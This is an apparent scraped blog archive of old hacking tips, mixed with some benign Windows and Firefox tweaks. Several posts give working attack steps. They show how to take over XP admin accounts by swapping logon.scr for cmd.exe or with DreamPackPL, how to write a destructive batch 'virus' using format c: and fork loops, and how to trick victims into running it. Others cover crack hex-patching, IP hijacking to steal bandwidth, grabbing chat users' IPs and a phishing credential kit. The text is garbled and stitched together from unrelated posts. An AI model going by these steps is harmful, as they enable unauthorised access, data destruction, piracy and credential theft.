2011-12-31T00:39:00.001-08:00

First Download this ETHERNET Ip Sniffer called ETHERDETECT

Use the tool to Scan Ip's in your network

Keep Scanning till you get some 200 Ip's ..

Then just change the last 3 digits of your IP Address with the IP's you get In that scanner !!
NOTE:Please save your Ip address somewhere so as to get back to your original ip !

It will say "Ip conflict" error,keep trying with other Ip's untill you succeed.

Sometimes when you will change your Ip you will get same speed ...in that case ..try another IP !

I'v tried this with Reliance getting speed upto 4mbps though my plan is of 600kbps

----------------------

Use the search engines to find cracks for particular programs.
Be sure the version is the correct one for the crack.
Use the metasearches and sites that offer searching a number of engines from the same page for easier searches.
A lot of these sites are supported by porn. Any notable feature of sites are indicated alongside.

Crack search engines:

http://astalavista.box.sk/
http://www.crackcrawler.net/cgi/search.php4 the BEST metasearch for cracks
http://kickme.to/crackwar very good can search 23 engines from 1 page
http://www.megasearch.ws/ search the main engines from here
http://www.bugs2k.com/
a good search site with minimal popups
http://www.andr.net/index.php another good one
http://crackazoid.com/
http://keygen.net/s.htm
http://www.hksoftking.com/v.php
http://www.dream-avenue.com/docky/leportail.htm
http://www.akribo-search.de.vu/ porn pop ups
http://allseek.info/ too many pop ups
http://www.search-explorer.net/installer.php
http://www.toflo.de/htm/link.htm
http://www.ixquick.com/
http://keygen.freeweb.hu/index/m.html
-------------------------

If the search engines dont give you the crack try various crack and serial sites. There are 1000s but the ones here are the ones you should try first.

HACK WINDOWS XP ADMIN PASSWORD

2010-09-07T03:26:00.000-07:00

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user ricky blah"

and this changes the password on franks machine to blah and your in.

Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

IP TIPS AND TRICKS

2010-09-07T02:57:00.000-07:00

This is a complimation of computer tricks, mainly security and privacy related

Getting Ip's:--

To see the ip all computers you are connected to (web servers, people attempting to hack into your computer).
Go to dos (start>run>type command) and run the netstat command. Type netstat /? for details.
Type netstat -r at the command prompt to see the ip of all computers you are connected to

In MSN (and other programs) when you are chatting to someone everything you type goes through the MSN servers first (they act as a proxy) so you see their ip rather than who you are chatting to. You can get round this by sending them a file as MSN doesn't send file through its proxy.
When you type the netstat -r (or -a for a different view) the ip's are under the foreign address table. The ports are seperated by a : . Different programs use different ports, so you can work out which ip's are from which program.
Connecting to other computers and what ports are:--

Servers send information. Clients retrieve. Simple.
Windows comes with a built in program to connect to other computers called telnet.
To start Windows telnet Start menu> Run> type Telnet. Click connect> remote system
Ports are doors into computers. Hosts are computer names
(ip number or a name that is translated into the ip automatically)
Different programs open different ports, but they always open the same ports so other computers know which port to connect to. You can get a port list listing all the different ports, but a basic one is:
11 :- Sends info on the computer
21 :- FTP (File transfer program)
23 :- Telnet (Login to the computers command line)
25 :- Smtp (Sends mail)
80 :- Http (Web pages)
There are thousands of different programs using different ports. You can get programs called portscanners which check a computer for all ports up to a certain number, looking for ways in. You can portscan a computer looking for ways-in.
Anyway, back to telnet.
Type www.yahoo.com as the host and port as 80 the click connect.
If nothing happens, you're in. Wow. You are connected to Yahoo's server.
You can now type http commands (you are connected to an http server, so it supports http commands). Ie. on an ftp server you can type open and it will do something. On an http server it will just wonder what the hell you are on about.
Type get / http/1.0 then press enter twice to get the file on the server at / (try /index.html) etc.)
Allowing dos and regedit in a restricted Windows

See http://blacksun.box.sk/tutorials/format.php3?file=windows.html for some very cool tactics.
A very simple tactic I found after accidentally locking myself out of dos and regedit is to open notepad and type the following:
REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp]
"Disabled"=dword:0
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
"DisableRegistryTools"=dword:0

Save it as something.reg then run it. Simple.

Making undeletable, unreadable folders

Tested on Windows 95/98
By holding down alt, then typing numbers on the number pad (right of the keyboard) you can create special characters. If you hold down alt, then press 1, then let go, you got the ascii character 1. You try some randomn numbers. This goes all the way up to 255. Open a dos prompt, and type md (alt+1+9+4)someword. md is the dos command to make a directoy, now try and open the directory in Windows, you can't. To open it, type ren (alt+1+9+4)someword someword (ren is the dos command to rename)

Proxies

Proxies are computers that you connect through, hiding your computer. Most aren't anonymous, they give away your ip. Some are. Good anonymous proxies: mail.uraltelecom.ru:8080 and 194.247.87.4:8080.
Different programs require different ways of using proxies. To do it in internet explorer 5 go to tools, internet options, connections, settings. In the above proxies they are in the format host:port

Password files
If you lock yourself out of Windows stuff, all passwords are stored in files called *.pwl in C:windows. Download showpass.zip from hereto view all passwords stored. Or rename the files to .bak to delete passwords.
In Unix, passwords are normally stored at etc/passwd. This can be viewed using the cat command (prints a file to screen): cat etc/passwd. Make sure you're passwords are shadowed (not actually in etc/passwd). Also make sure they aren't in a file called shadow, especically not in a file called etc/shadow.
Unix passwords are encrypted far better than Windows one's (to be fair, Windows 95 isn't designed for users), but can still be cracked through a program called jon

USE ANY USB AS RAM

2010-09-07T02:53:00.000-07:00

For those who aren't keen on opening up their PC to put in more memory, Windows Vista has a handy little feature called ReadyBoost that can use USB sticks for additional memory. Unfortunately, Windows Vista doesn't take kindly to the slower sticks on the market and refuses to use them. Proving once again that we control the computer and not the other way around, here's four simple steps to get around this limitation and use any USB stick you have to increase your computers memory.

1.SetUp

First things first. Plug the device in. Ignore AutoPlay if you have the enabled, and go to Computer in the start menu. When it pops up, right-click the USB stick and select properties.

2. Disable the stick

Click on the Readyboost tab on the properties menu and check Do not restest this device. Click okay and unplug the stick from your computer.

3. Edit the registry!

Woah! Don't panic, it's not as frightening as it sounds. Firstly, you need to open regedit, by opening the start menu and typing regedit, then enter. The registry window should load up.

Using the left-hand pane, work your way through the following folders: HKLM (Local Machine) -> SOFTWARE -> Microsoft -> Windows NT -> CurrentVersion -> EMDgmt. You'll have a list of USB devices the computer has encountered, one of which should be your USB stick. Click on it.

Here there's a few details you need to edit. Double click on Device Status and change the value to 2, then ok. Do the same for ReadSpeedKBs and WriteSpeedKBs, changing their values to both 1000. Exit the regedit and breathe a sigh of relief.

4. And back in again

Now all that's left to do is put the stick back in and once again go to the device properties (Computer > Right-click on drive). If you look under the Readyboost Tab, you'll be able to now select Use this device. Success! Now enjoy your faster PC.

Keyboard sniffers to steal data!!!!!

2009-05-04T06:38:00.000-07:00

Computer criminals could soon be eavesdropping on what you type by analysing the electromagnetic signals produced by every key press.

The attacks were shown to work at a distance of 20 metres

By analysing the signals produced by keystrokes, Swiss researchers have reproduced what a target typed.

The security researchers have developed four attacks that work on a wide variety of computer keyboards.

The results led the researchers to declare keyboards were “not safe to transmit sensitive information”.

Better attacks

The attacks were dreamed up by doctoral students Martin Vuagnoux and Sylvain Pasini from the Security and Cryptography Laboratory at the Swiss Ecole Polytechnique Federale de Lausanne (EPFL).

The EPFL students tested 11 different keyboard models that connected to a computer via either a USB or a PS/2 socket. The attacks they developed also worked with keyboards embedded in laptops.

Every keyboard tested was vulnerable to at least one of the four attacks the researchers used. One attack was shown to work over a distance of 20 metres.

In their work the researchers used a radio antenna to “fully or partially recover keystrokes” by spotting the electromagnetic radiation emitted when keys were pressed.

In a web posting they added: “no doubt that our attacks can be significantly improved, since we used relatively unexpensive equipments [sic].”

In videos showing their early work the researchers are seen connecting keyboards to a laptop running on battery power. They avoided using a desktop computer or an LCD display to minimise the chance of picking up signals from other sources.

Details of the attacks are scant but the work is expected to be reported in a peer-reviewed journal soon.

The research builds on earlier work done by University of Cambridge computer scientist Markus Kuhn who looked at ways to use electromagnetic emanations to eavesdrop and steal useful information.

I can not open my drive or flash memory, what should I do?

2009-05-04T05:23:00.001-07:00

Many viruses create a new autorun.inf file for infected drives to run there executable files from autorun. However, antivirus software can kill the virus but they don’t delete the autorun file because it’s not a virus by itself. This is the way to delete autorun.inf and get rid of the problem.

Autorun.inf is a hidden and protected file by Windows Operating System, so first thing you have to go to Folder Options from Tools menu in My Computer:

After that goto view tab in folder options:

You have to make sure that the “Show hidden files and folder” radio button is selected and remove the checkbox from “hide protected operating system files (Recommended)”.

After you click OK or apply a warning message will appear:

Click on Yes and get back to My Computer.

Now go to the drive that you want to remove autorun.inf from it. Right click on the drive icon from my computer and click on Open. If that didn’t work and it showed you the “Open With” window

then click on Browse button and select “C:\%WindowsFolder%\Explorer.exe” to open the file with and click OK.

The drive should opened with Windows Explorer by now and you will be able to see autorun.inf. Delete the file and restart you computer and your problem is solved.

Simple tip to protect from Autorun.inf viruses

2009-05-04T05:21:00.000-07:00

External memory devices are common virus distribution method. Once you open an infected memory device the Autorun.inf will copy the virus to your machine and it will get infected as well.

However, there’s a very simple protection method that doesn’t require any third-party software.

First, you have to enable viewing hidden and protected files. You can do this simply by enabling two options from Folder Options as shown in the following image:

Now, all system files will appear in Windows Explorer including autorun.inf. The thing about autorun.inf that it works only when you open the external device not when you explore it. So, don’t use the open option from the Autorun menu

or the Windows Explorer context menu

Instead use the explore option from the context menu when you open the removable device you can see and delete autorun.inf. Also, you can check if this device is infected by skimming for hidden executable files and delete them.

When I double click on my local drive, I get the open with window!

2009-05-04T05:12:00.000-07:00

This is a common problem which is usually associated with autorun.inf. If you have a persistent problem with opening your drive, it’s advisable to have a look to the other articles in the Troubleshooting category. If you don’t please continue reading this article:

The problem usually happen when you double click on your local drive. A message just like the one shown below will appear. Before you try these steps, try to right click on drive and click on the “Explore” option. If that didn’t work for you follow these steps:

Click on “Browse” and you will get this window

Locate you windows folder and choose to open your local drive with “Explorer.exe”. After that click on “Open” and you back to the first window just cick “Ok” and your drive will open.

How to Make a batch form notpad

How to build a simple .bat virus

Index
1. Tools
2. What makes a virus a virus
3. Making your first batch file
4. Making a batch virus
5. Destructive commands
6. Most common tricks used to make someone open the file
7.By, Robby23, 24 Guns, Harry, SLAUGHTER, blu3m4n, BuRP QuakE

1. Tools
To make a batch program you will need a text program (ex. Word,notepad,wordpad etcâ€¦) A keyboard if you donâ€™t have one you can use the ON-screen keyboard
To get to the on-screen keyboard start>all programs>accessories>accessibility

2. What makes a virus a virus
When people think of a virus they think of a computer virus but the word virus came from a virus thatâ€™s in your body. They also think a virus is meant to delete or destroy things. They normally do but a virus is called a virus because, it copies itself. Like a virus in your body it copies it self to other cells cause it canâ€™t live with out a host. Same with a computer virus with out a file or a program a virus canâ€™t be made.
So all a computer virus is: a program that copies it self ,but some people put destructive code in it.

3. Making a Batch file
Iâ€™m going to use notepad you can use what ever you want

We are also going to make a â€œHello Worldâ€� Application that is the first program you make in any language

When making a batch file you are always going to use this line first

@echo off

You can turn it on if you like. All that does is telling the program not to tell its location. If you turn it on then the program will tell were it is at on the computer.
You can experiment a little if you want.

Now we are going to make it say Hello World

To do this we need a echo command which looks like this
echo

This tells the program to write something since we want it to say Hello World we are going to type Hello World next to echo to make it look like this

echo Hello World

so at this point you should have

@echo off
echo Hello World

now go to file save and name it test.bat ( you can name it whatever you want as long as it has .bat at the end.)
Save it to the desktop so you can get to it faster.

Then run it

You should of have a black box open and close really fast

To fix this we need a pause command and we will also need a goto command

The goto command is the most importent command

If you dont know the goto command tell it were to go to next.

since we need a pause command we want it to go to pause so we need to write goto pause like this

goto pause

now u should have

@echo off
echo Hello World
goto pause

now we need a subsection name pause

you make a sub section by putting a : by the first word like this

:start

or

:end

,but we said go to pause so we need one name pause like this

ause

then under that we are goin to write pause

ause
pause

this just makes it were it will keep the box open till you press a key

Optionl

At the end you can put a exit at the end of pause were the goto command should go ,but you dont have to.

save at run it now.You should be able to read your text now

4. Making a Batch file into a virus

This is alot easier then some people think.

To make a virus you just need the copy command which looks like this

copy

so lets make a new one by reading section 3 you should know you need the @echo off

@echo off
copy

allright we are going to name this file first

and we are going to make it copy itself to C:\WINDOWS just because no one looks in their

this is what it looks like (i will explain it)

@echo off
copy first C:\WINDOWS

copy-tells it to copy
first-is just the name of the file we want to copy
C:\WINDOWS- is the place you want to copy to

that is a virus

5. Destructive commands

If you get pissed at someone you might want to send him someting to mess with him. Here are some commands to add to the virus.

del -this del files

del file name
del (.txt*)

the (.txt*) would delete all txt files on the computer the * at the end just means all instead of a file called .txt

deltree- this deletes the whole folder

you can remeber it like this

Think of a tree if you type del you are only deleting a part of the tree ,but if you type deltree you are deleting the whole tree

format- this deltes everything

format c:

this delets everything in the c drive

open

this is just fun to use to scare some one but not do damage to something

open name of file

like to open notepad type

open notepad

to open microsoft paint type

open mspaint

just put ta crap load in their

also the next one that can be very usefull is looping

this will make the file repet it self til it is shut off

say your first sub section is called start

you would just make the goto command to go to start like

@echo off
:start
start notepad
goto start

that will open notepad over and over and if they dont close it it can crash their computer

to open the command window you have to use var. like %% (not going to explain var. it would be confusing)

@echo off
:whatever
start %0
goto whatever

this will open the black box over and over

6. Most command tricks

people will put it in a folder with a couple read me doc. and call it a game

people will say check this out it is so cool

people will say check out this hack or cheat i found for this game

to check if the are good do this

tell them to put it in a zip folder and send it

unzip and right click on the program(dont open it)

and press edit

that will show the sorce code and if you see something you dont like then delete it

ok

see u

Live CD for Wireless Hacking, Used by the FBI

2009-02-28T03:24:00.000-08:00

Live CD for Wireless Hacking, Used by the FBI

WEP is an encryption scheme, based on the RC-4 cipher, that is available on all 802.11a, b and g wireless products. WEP uses a set of bits called a key to scramble information in the data frames as it leaves the access point or client adapter and the scrambled message is then decrypted by the receiver.

Both sides must have the same WEP key, which is usually a total of 64 or 128 bits long. A semi-random 24 bit number called an Initialization Vector (IV), is part of the key, so a 64 bit WEP key actually contains only 40 bits of "strong" encryption while a 128 bit key has 104. The IV is placed in encrypted frame's header, and is transmitted in plain text.

Traditionally, cracking WEP keys has been a slow and boring process. An attacker would have to capture hundreds of thousands or millions of packetsÃ¢ââ??Â¬ââ?¬�a process that could take hours or even days, depending on the volume of traffic passing over the wireless network. After enough packets were captured, a WEP cracking program such as Aircrack would be used to find the WEP key.

Fast-forward to last summer, when the first of the latest generation of WEP cracking tools appeared. This current generation uses a combination of statistical techniques focused on unique IVs captured and brute-force dictionary attacks to break 128 bit WEP keys in minutes instead of hours. As Special Agent Bickers noted, "It doesn't matter if you use 128 bit WEP keys, you are vulnerable!

some tricks to speed up Firefox

2008-12-22T04:30:00.000-08:00

There are indeed a number of different adjustments you can make to Firefox that can improve its performance, the first and most important of which is to always make sure that you have the very latest version on your system. Pop over to get Firefox and download it right now.

Done?

Good. Now, enter the URL about:config and then type in "network.http" to the browser's "filter" function to identify the following entries:

network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests

If your Firefox is set up like mine, the first two will be set to "false". Change them to "true" and then enter a value like 20 for maxrequests.

These will make the browser use your network connection more efficiently (or, depending on your perspective, more aggressively) which should visibly speed up rendering pages in the browser.

There's a lot more you can learn if you pop over to Mozillazine's Firefox Tuning discussion, if you really want to fine-tune your Web browsing experience.

Finding IP address of sender in Yahoo, Gmail, Hotmail

2008-12-22T04:17:00.000-08:00

Finding IP Address Of the Sender In Hotmail!!

Log into your Hotmail account with your username and password.

Click on the Mail tab on the top.

Open the mail.

If you do not see the headers above the mail message, your headers are not displayed . To display the headers,

Click on Options on the top-right corner
In the Mail Options page, click on Mail Display Settings
In Message Headers, make sure Advanced option is checked.
Click on Ok button
Go back to the mails and open that mail.

If you find a header with X-Originating-IP: followed by an IP address, that is the sender's IP address

Hotmail headers : Daniel ,In this case the IP address of the sender is [68.34.60.59]. This is be the IP address of the sender.

If you find a header with Received: from followed by a Gmail proxy like this

Hotmail headers : Daniel
Look for Received: from followed by IP address within square brackets[]. In this case, the IP address of the sender is [69.140.7.58].

Or else if you have headers like this

Hotmail headers : Daniel
Look for Received: from followed by IP address within square brackets[].
In this case, the IP address of the sender is [61.83.145.129] .

If you have multiple Received: from headers, eliminate the ones that have proxy.anyknownserver.com.

Finding IP Address of the sender in Yahoo Mail!!

Log into your Yahoo! mail with your username and password.

TIPS AND TRICKS, HACKIN AND CRACKIN

2008-08-05T04:44:00.000-07:00

A lot of times I’ve seen and heard arrogant people claiming that they are hacker and they can crack programs. OK, cracking a software is VERY easy if use a patcher released by crackers. But what if there are no ready patchers for them to use? Can they find the weakness in the software protection system and know which byte to patch in order to turn the trial software into a registered version? Perhaps not… Usually when a program is updated, the patcher to crack the program will no longer work because most cracks will verify filesize and has CRC32 checks. Although the patcher won’t work, it is possible for you to create your own patcher to crack the latest version of program “BASED” on the previous crack. Here is how you can create your own crack based on previous the crack. I am teaching you this because I want to show you the logic. Do take note that this method will not earn you the title “CRACKER” or “REVERSE ENGINEER” but it does make you a bit smarter

A crack usually works on specific version of a software. For example, a crack that is made for version 2 usually won’t work for version 3. Even a crack for subversion of program such as 2.1 can’t work with software version 2.2. That’s because most of the time when a bug is found on a software, the developer will fix the bug and recompile the code. The place(offset) where the crack is supposed to patch is no longer at the original place, thus making the crack useless. Most of the cracks has filesize and CRC32 check feature to make sure you’re using the crack on the correct version of a software. Simply patching any version will result in the software itself become unstable. OK, let’s get started with a scenario. You have a software called RayCalculator v2.2 and there’s already a crack for it. Now the updated RayCalculator v2.3 is out but currently there’s no crack. The RayCalculator v2.2 crack can’t be used to crack the RayCalculator v2.3 because it failed the filesize and CRC32 check. Here’s how you can POSSIBLY create your own working crack for RayCalculator v2.3 based on the RayCalculator v2.2 crack. Most cracks can create a backup of the original file in case you need to restore it back. You need to check the program’s folder to find out the backup filename. If the original filename is raycalc.exe, most probably the backup filename would be raycalc.exe.bak , raycalc.exe.old , raycalc.old or raycalc.bak. What you need to do now is use dUP 2 to find where is the location/offset that the crack patch.
1. Download dUP 2 from the link at the end of this article, extract and run dup2.exe 2. Click New Project button located at the right side of the dUP 2, and click Save button on Patch Info window. 3. Click Add button, select Offset Patch and click OK. 4. You will notice that [Offset Patch] will appear at the main (Patch Data) window.

Double click on [Offset Patch] and you’re now in Offset Patchdata window. 5. Load original file and patched file by clicking the “…” button at the Compare Files area and click Compare button. Remember, the original file is always the one with .bak or .old extension at the programs folder.

Now you’ll know where the RAW Offset being changed with what byte. 6. Open up the original file(raycalc.exe.bak) with a hex editor. You can use Cygnus Hex Editor which is free. 7. Press CTRL+G, enter the RAW Offset that you see from dUP2. Select Hexadecimal and click OK. You’re now at the offset where the crack patches. IF the programmer did not update the registration security protection, the old version raycalc.exe.bak data to crack is the same as the updated raycalc2.3.exe. Now, look for noticeable data around the data where the crack is suppose to patch. For me, I see “hkJGHRF*&(&$KLJSDFLKJ“. Do NOT find something like “.U..E….” because it’s confusing and tough to identify. 8. Use your mouse to select the data, right click and copy. 9. Open raycalc2.3.exe in hex editor, press CTRL+F to bring out the Find box and paste the data by pressing CTRL+V. Try to find the data to patch by referring the old raycalc.exe.bak. I found mine which is the exact same data.
10. In dUP2, I can see that the old byte 74 and 14 is being replaced with 90 and 90.

Go back to Hex Editor, change the data 74 14 to 90 90 for raycalc2.3.exe and save it. Voila! It works! I’ve just cracked the latest updated program based on the previous crack. With dUP2, I can also create my own patcher for the latest updated RayCalculator version 2.3 program. [ Download diablo2oo2's Universal Patcher - dUP ]

Protect Windows From USB Autorun.inf Virus With USB Firewall

2008-08-03T04:01:00.000-07:00

dieTwo days ago I’ve shared with you a registry hack which will stop Windows from executing instructions found in autorun.inf. Good thing is your computer will never be infected by virus through the autorun.inf method. The downside of using this hack is that if you insert a CD or DVD with software on it, you have to explore it by hand to find the setup program and also the autorun.inf file will still remain at the root of the drive and could possibly infect other computer if it doesn’t have any protection against autorun.inf threats. If you want Windows to continue processing autorun.inf file for CD or DVD and also want to protect your computer from USB flash drive autorun.inf. Here is a USB firewall software for Windows which is able to accomplish that.

Net Studio USB FireWall is a very smart application which protects you from all malicious programs which try to launch itself using autorun.inf through opening the drive from Windows Explorer. It will inform and warn you when such program exist in your USB storage. When you get a warning after inserting a USB flash drive, you can click the SHOW AUTORUN.INF button to view what are the instructions in the autorun.inf file. If you don’t remember putting an autorun.inf file in the USB flash drive or don’t know how it got there, simply click the DELETE button from USB FireWall and it will clean it for you. The good thing about USB FireWall is that it doesn’t need any virus definition update because it is designed to detect autorun.inf file from USB storage drives. This tool only monitors the USB device and ignores CD or DVD drives. This can pose a problem because the hacker can still use a hacked U3 smart drive which has the capability of emulating a CD drive to infect the computer with virus or steal sensitive data. USB FireWall is not THE perfect tool to protect your computer from USB autorun threats, but it does provide some level of protection, while still allowing autorun.inf file to be processed. Using USB FireWall has an advantage over the registry hack and that is to alert me when my USB contains autorun.inf so I don’t accidentally use my USB flash drive to infect other people’s computer with virus. If you ask me which method I’d prefer to use to protect myself from autorun.inf threats, I’d go with the registry hack. It’s simple and don’t require any third party tools. What about you?

How to Hack Into a Windows XP Computer Without Changing Password

2008-08-01T04:52:00.000-07:00

There is a far better way to get into Windows XP. It is easy and it does not reset the password. Hack into a computer running Windows XP without changing the password and find out all and any passwords on the machine (including admin accounts). You do not need access to any accounts to do this. Of course, do not do this on anyone elses computer without proper authorisation.

How to Hack Into a Windows XP Computer Without Changing Password -

Steps to Hack into a Windows XP Computer without changing password:

1. Get physical access to the machine. Remember that it must have a CD or DVD drive.
2. Download DreamPackPL HERE.
3. Unzip the downloaded dpl.zip and you’ll get dpl.ISO.
4. Use any burning program that can burn ISO images.
5. After you have the disk, boot from the CD or DVD drive. You will see Windows 2000 Setup and it will load some files.
6. Press “R” to install DreamPackPL.
7. Press “C” to install DreamPackPL by using the recovery console.
8. Select the Windows installation that is currently on the computer (Normally is “1″ if you only have one Windows installed)
9. Backup your original sfcfiles.dll by typing:
“ren C:\Windows\System32\sfcfiles.dll sfcfiles.lld” (without quotes)
10. Copy the hacked file from CD to system32 folder. Type:
“copy D:\i386\pinball.ex_ C:\Windows\System32\sfcfiles.dll” (without quotes and assuming your CD drive is D:)
11. Type “exit”, take out disk and reboot.
12. In the password field, type “dreamon” (without quotes) and DreamPack menu will appear.
13. Click the top graphic on the DreamPack menu and you will get a menu popup.

15. Type "god" in the password field to get in Windows.
You can also go to Passwords and select "Logon with wrong password and hash". This option allows you to login with ANY password.
Note: I was unable to bring up the DreamPackPL for the first time because I have Kaspersky Anti-Virus already running in background. I believe most antivirus already labelled this tool as a Hack-Tool. A Hack-Tool is NOT a virus. DreamPackPL helps you bypass the Windows Login screen and it is not destructive.

Msn password cracking

2008-08-01T04:50:00.000-07:00

a small trick will worked for me hence posting it here

Hacking MSN is actually VERY simple. Msn is designed to route the connection through a Microsoft server while you are chatting. However, when a file is sent, a DCC (direct connection) is created. This was purposely done because otherwise Microsoft would waste a lot of bandwidth so a direct connection is made. This is your chance. Make a file transfer occur between u and a victim (try to send a big file), open up your command prompt (run "cmd" in NT/XP or "command" in 9X to get into prompt) and run netstat. usually the MSN targets IP would be above port 2000. enjoy.

If u receive some crap like gux1-43.primus.com as the target, do a reverse DNS lookup on it. However, this occurs very rarely, mostly u will receive a clear IP.

once u have d IP u can do anything with him by Fingerprinting.

U can protect yourself from this occurring to you by using a proxy with MSN (under connections panel in options).

close Welcome! Wikis are websites that everyone can build together. It's easy! Crack Yahoo,Hotmail,Msn password

We all use Hotmail.. well its one of my Favorites..

**Here m going to reveal n Alert About how the Unethical Hackers Can cheat us .

This Page is meant for Educational Purpose only.

I do not Endorse Hacking at all

but its Meant for knowing the Threats n Protect yourself also Curbing them**

Here we present:

1:- How hotmail can be hacked with fake login screen (2 different ways)
2:- Fake e-mails threats
3:- Detect a fake message into hotmail
4:- How to get persons ip address through msn messenger
5:- curbing the way hackers get the passwords
6:- Easiest Way
7:- Change msn messenger title
8:- Protect yourself from Virus
9:- Hoax Toolbox v1.1

1) Protect yourself from Phishing

Usually The Unethical Hackers Upload their hotmail's fake login screen on a web server and then send these codes
to the victim from yahoo or another mail sending program. The codes are

and the user will be automatically redirected to your fake hotmail screen from their e-mail
box & you r Hacked.

Beware of There Threats

2) Beware of Fake Login Screens

They Start chatting with your victim and send him the fake login screen through Their messenger and try to pish you.

there are many many of them available on the net.. which are usually small Visual Basic programs.. never reveal your password anywhere other than the latest Versions of msn Messengers.

2:- Fake e-mails threats

This is very easy go to http://www.boxfrog.com/ register( its blocked now) but there are many others .. google u ll find many
click on create message and in from filed type in any ones e-mail address and the message will
be sent.

there's also a simple way of doing this by Telnet ting from the dos Prompt..

Beware of this Threat .. make your spam protection Powerful

3) Detect a fake message into Hotmail inbox.

This is Simple Buddies.. open your e-mail box go to options select display setting or
message display setting or (some thing like this) now select full where it says message display

settings or something like this. Open the mail which u thought to be fake now in the last
where it says from u can see the address of that site from where the mail is sent but if
some one has sent it through some sort of program it will tell u his ip.

n once you know D ip m sure u know how to go between it there after

IMP: Read the ip address log from Backwards..

4)- Protect urself revealing your ip address through msn messenger.

When you Open your messenger start chatting with friend open ms dos and type netstat -n there
do not press enter and then minimize it after this send something to your victim and as soon as he accept it the hotmail messenger will say connecting this is the time when u re maximize your MS-DOS and

press enter the ip address next to time wait: will the friends ip. U may be Hacked The same way

Beware!!

HoaX Toolbox v1.1

This is a PHP script that creates a website with an admin area that allows the user to choose between fake login pages of MSN Messenger, Hotmail, Yahoo and Google Mail, once you set up the script on a server that has PHP and SQL you will be able to log in the administration page and choose the fake login page to display to the main site, when the victim tries to log-in their mail/messenger, the website keeps the user/pass information in a log file that you can view anytime from the admin area, if the victim is not stupid enough to add their real log-in because they read the URL of your server instead of reading hotmail.com or yahoo.com in the URL bar then remember you can pop-up the main page of the site and disable the URL bar on the explorer, so when the user clicks on your real site the link "Yahoo Mail" an explorer without URL bar pops up, if you don't know how to pop up customized browsers search google

Hack a Yahoo Account While Chatting

2008-08-01T04:38:00.000-07:00

This is only for education purpose.
So who ever try this is at his risk.

I am not sure that this will work 100 %.
But yes will work almost 70 percent of the times.
But before that you need to know some few things of yahoo chat protocol
leave a comment here after u see the post lemme know if it does works or not or u having a problem post here.

Following are the features : -

1) When we chat on yahoo every thing goes through the server.Only when we chat thats messages.
2) When we send files yahoo has 2 options
a) Either it uploads the file and then the other client has to down load it.
Either it connects to the client directly and gets the files
3) When we use video or audio:-
a) It either goes thru the server
Or it has client to client connection
And when we have client to client connection the opponents IP is revealed.On the 5051 port.So how do we exploit the Chat user when he gets a direct connection. And how do we go about it.Remember i am here to hack a system with out using a TOOL only by simple net commands and yahoo chat techniques.Thats what makes a difference between a real hacker and new bies.
So lets analyse
1) Its impossible to get a Attackers IP address when you only chat.
2) There are 50 % chances of getting a IP address when you send files
3) Again 50 % chances of getting IP when you use video or audio.

So why to wait lets exploit those 50 % chances .
I'll explain only for files here which lies same for Video or audio

1) Go to dos
type ->
netstat -n 3
You will get the following output.Just do not care and be cool
Active Connections

Proto Local Address Foreign Address State
TCP 194.30.209.15:1631 194.30.209.20:5900 ESTABLISHED

TCP 194.30.209.15:2750 64.4.13.85:1863 ESTABLISHED
TCP 194.30.209.15:2864 64.4.12.200:1863 ESTABLISHED

Active Connections

TCP 194.30.209.15:2864 64.4.12.200:1863 ESTABLISHED

Just i will explain what the out put is in general.In left hand side is your IP address.And in right hand side is the IP address of the foreign machine.And the port to which is connected.Ok now so what next ->

2) Try sending a file to the Target .
if the files comes from server.Thats the file is uploaded leave itYou will not get the ip.But if a direct connection is established
HMMMM then the first attacker first phase is over
This is the output in your netstat.The 5101 number port is where the Attacker is connected.
Active Connections

Proto Local Address Foreign Address State
TCP 194.30.209.15:1631 194.30.209.20:5900 ESTABLISHED
TCP 194.30.209.15:2736 216.136.224.214:5050 ESTABLISHED

TCP 194.30.209.15:5101 194.30.209.14:3290 ESTABLISHED

3) so what next???
Hmmm........ Ok so make a DOS attack now
Go to dos prompt and
Just do
nbtstat -A Attackers IPaddress.Can happen that if system is not protected then you can see the whole network.
C:\>nbtstat -A 194.30.209.14

Local Area Connection:
Node IpAddress: [194.30.209.15] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
EDP12 <00> UNIQUE Registered
XYZ <00> GROUP Registered
XYZ <20> UNIQUE Registered
XYZCOMP1 <1e> GROUP Registered

MAC Address = 00-C0-W0-D5-EF-9A

Ok so you will ask now what next???
No you find what you can do with this network than me explaining everything.
so post ur comments and lemme know....

So the conclusion is never exchange files , video or audio till you know that the user with whom you are chatting is not going to harm you

How To Become A Hacker

2008-08-01T04:18:00.000-07:00

The Hacker Attitude
Hackers solve problems and build things, and they believe in freedom and voluntary mutual help. To be accepted as a hacker, you have to behave as though you have this kind of attitude yourself. And to behave as though you have the attitude, you have to really believe the attitude.
But if you think of cultivating hacker attitudes as just a way to gain acceptance in the culture, you'll miss the point. Becoming the kind of person who believes these things is important for you -- for helping you learn and keeping you motivated. As with all creative arts, the most effective way to become a master is to imitate the mind-set of masters -- not just intellectually but emotionally as well. So, if you want to be a hacker, repeat the following things until you believe them:

1. The world is full of fascinating problems waiting to be solved.

Being a hacker is lots of fun, but it's a kind of fun that takes lots of effort. The effort takes motivation. Successful athletes get their motivation from a kind of physical delight in making their bodies perform, in pushing themselves past their own physical limits. Similarly, to be a hacker you have to get a basic thrill from solving problems, sharpening your skills, and exercising your intelligence.
If you aren't the kind of person that feels this way naturally, you'll need to become one in order to make it as a hacker. Otherwise you'll find your hacking energy is sapped by distractions like sex, money, and social approval. (You also have to develop a kind of faith in your own learning capacity -- a belief that even though you may not know all of what you need to solve a problem, if you tackle just a piece of it and learn from that, you'll learn enough to solve the next piece -- and so on, until you're done.)

2. Nobody should ever have to solve a problem twice.

